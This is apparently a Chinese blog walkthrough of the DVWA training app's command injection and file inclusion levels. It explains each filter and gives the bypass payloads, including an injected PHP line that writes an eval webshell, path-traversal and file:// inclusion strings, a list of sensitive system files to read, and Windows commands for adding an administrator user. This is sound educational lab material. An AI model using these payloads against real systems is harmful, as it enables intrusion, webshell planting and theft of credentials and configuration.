dvwa 命令注入 檔案包含

2022-09-06 16:12:09 字數 4217 閱讀 9587

<?php 

if( isset( $_post[ 'submit' ] ) )

else

// feedback for the end user

$html .= "

";

}?>

分析原始碼可以看到從使用者那裡取得ip資料,呼叫系統shell執行ping命令,結果直接返回網頁,ping的目標就是使用者提交的ip資料。但是沒有任何的過濾防護導致系統shell完全可控。

如圖1,payload:127.0.0.1 & echo hacked!,顯示指定字串。將echo換成fputs(fopen("shell.php","w"), '<?php eval($_post["cmd"]) ?>');則將會在web應用根目錄下生成shell.php檔案得到webshell。(為書寫方便,只用echo,不再用其他命令)

<?php 

if( isset( $_post[ 'submit' ] ) )

else

// feedback for the end user

$html .= "

";

}?>

分析原始碼看到,使用黑名單對使用者輸入資料進行了簡單過濾。但是黑名單不全,且沒有進行迭代過濾,導致可繞過過濾。

如圖2,命令執行成功

2、由沒有迭代過濾可得:構造巧妙的命令,使過濾後的命令再次組成可執行命令。payload:127.0.0.1 &;& echo hacked!,這樣,分號被過濾,剩下的命令仍可繼續執行

如圖3,命令執行成功

分析**,看到黑名單增加了,基本上可能導致命令注入的符號都被過濾。然而仔細看'| ' => ''這段**,管道符右側有乙個空格,這樣構造payload:127.0.0.1 |echo hacked!(在管道符左側有一空格,右側沒有),可成功取得webshell。

如圖4,命令成功執行

分析**看到,把傳進的引數以.分割為陣列,取前四個,利用is_numeric()函式分析是否為數字型別。這樣就確保了呼叫系統shell時給定的引數只為數字,程式不再有漏洞可以利用。

為了方便顯示,在web根目錄下建立乙個shell.php,內容:<?php phpinfo();?>輸出php設定

<?php 

// the page we wish to display

$file = $_get[ 'page' ];

?>

完全沒有過濾,直接從get超陣列取得想要包含的檔案幷包含執行。

payload:?page=../../shell.php,如圖5,確實包含並執行了shell.php,我們取得了控制權。我們甚至可以包含系統的一些敏感檔案,如下

/etc/passed                                          //linux下各使用者的賬戶密碼

/etc/httpd/conf/httpd.conf //apache配置檔案

/etc/my.conf //mysql配置檔案

/proc/self/environ //linux下環境變數檔案

以下將會包含shell.php做證明和演示

如圖5

可以看到,**過濾了http和https協議頭即拒絕了遠端包含,並過濾了跳轉上一級的命令。

1、針對過濾的協議頭,**仍然沒有迭代過濾,導致利用內嵌的組合形式繞過。payload:page=hthttps://tps://,如圖6繞過了過濾實現了遠端檔案包含

2、針對過濾的../ ..\命令,仍然可以繼續利用沒有迭代過濾的問題,也可以直接使用絕對路徑來解決。payload:page=..././..././shell.phppage=/var/www/html/dvwa/shell.php,如圖7

**實現了對檔名的匹配,page引數需要以file開頭或者檔名為include.php。這樣在一定程度上保證了安全性,但是仍有方法可以繞過。

使用php封裝的偽協議,構造payload:page=file://var/www/html/dvwa/shell.php,這樣匹配上了過濾**的要求,如圖8

可以看到,檔名被硬編碼在了過濾指令碼中。在這樣的特定環境中,不可能有攻擊漏洞可利用,因此是安全的。

DVWA 檔案包含漏洞

檔案包含是正常現象,主配置檔案有基礎的一些配置,nginx虛擬機器,include需要包含進來 檔案包含漏洞 file inclusion,檔案包含 漏洞 危害 注意 檔案包含本身是沒有問題的,問題出在如果在執行檔案包含動作時沒有對檔案內容進行審核造成漏洞利用。1 低安全級別 1 本地檔案包含 進行...

dvwa命令注入漏洞

在windows下測試命令執行漏洞時,返回的都是亂碼 找到www dvwa master dvwa includes dvwapage.inc.php 將277 286行的utf 8改為gb2312 只改head中的值還不起作用,還要改http header中content type的內容 或者在p...

DVWA(三)命令注入

2.ipconfig命令 ipconfig windows系統檢視本機ip的命令 ifconfig linux系統檢視本機ip的命令 3.net user net user 使用者名稱 密碼 add windows系統新增使用者命令 net localgroup administrators 使用者...